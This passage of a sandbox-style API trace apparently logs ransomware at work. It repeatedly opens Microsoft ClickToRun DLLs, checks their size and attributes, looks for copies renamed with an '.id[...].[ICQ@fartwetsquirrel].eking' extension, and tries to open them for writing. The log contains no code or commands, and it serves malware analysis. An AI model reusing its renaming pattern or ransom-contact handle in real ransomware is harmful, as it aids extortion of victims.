dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.368] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0230.369] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=22720) returned 1 [0230.369] CloseHandle (hObject=0x348) returned 1 [0230.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x20 [0230.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x20 [0230.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.369] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.370] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0230.372] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=19136) returned 1 [0230.372] CloseHandle (hObject=0x348) returned 1 [0230.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x20 [0230.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x20 [0230.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.373] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.373] SetEvent (hEvent=0x2b8) returned 1 [0230.373] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0230.373] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=20672) returned 1 [0230.373] CloseHandle (hObject=0x348) returned 1 [0230.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x20 [0230.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x20 [0230.374] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.374] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.374] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0230.374] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=19648) returned 1 [0230.374] CloseHandle (hObject=0x348) returned 1 [0230.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")) returned 0x20 [0230.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")) returned 0x20 [0230.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.375] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.375] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0230.376] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=19136) returned 1 [0230.376] CloseHandle (hObject=0x348) returned 1 [0230.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")) returned 0x20 [0230.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")) returned 0x20 [0230.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.376] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.377] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0230.380] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=27840) returned 1 [0230.380] CloseHandle (hObject=0x37c) returned 1 [0230.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")) returned 0x20 [0230.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")) returned 0x20 [0230.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.380] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.381] SetEvent (hEvent=0x2b8) returned 1 [0230.381] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0230.381] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=26816) returned 1 [0230.381] CloseHandle (hObject=0x37c) returned 1 [0230.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 0x20 [0230.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 0x20 [0230.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.382] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.382] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0230.382] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=70848) returned 1 [0230.382] CloseHandle (hObject=0x37c) returned 1 [0230.382] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll")) returned 0x20 [0230.382] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll")) returned 0x20 [0230.382] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.383] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.383] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0230.383] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=19648) returned 1 [0230.383] CloseHandle (hObject=0x37c) returned 1 [0230.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll")) returned 0x20 [0230.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll")) returned 0x20 [0230.384] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.384] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.384] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0230.387] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=23232) returned 1 [0230.387] CloseHandle (hObject=0x348) returned 1 [0230.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 0x20 [0230.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 0x20 [0230.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.387] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.388] SetEvent (hEvent=0x2b8) returned 1 [0230.388] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0230.388] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=24768) returned 1 [0230.388] CloseHandle (hObject=0x348) returned 1 [0230.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 0x20 [0230.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 0x20 [0230.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0230.389] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=24768) returned 1 [0230.389] CloseHandle (hObject=0x348) returned 1 [0230.389] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll")) returned 0x20 [0230.389] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll")) returned 0x20 [0230.389] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.390] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0230.390] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=21184) returned 1 [0230.390] CloseHandle (hObject=0x348) returned 1 [0230.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll")) returned 0x20 [0230.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll")) returned 0x20 [0230.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.391] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.391] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0230.391] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=19136) returned 1 [0230.391] CloseHandle (hObject=0x348) returned 1 [0230.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll")) returned 0x20 [0230.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll")) returned 0x20 [0230.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.392] CreateFileW (lpFileName="\\\\?\\C:\\Program 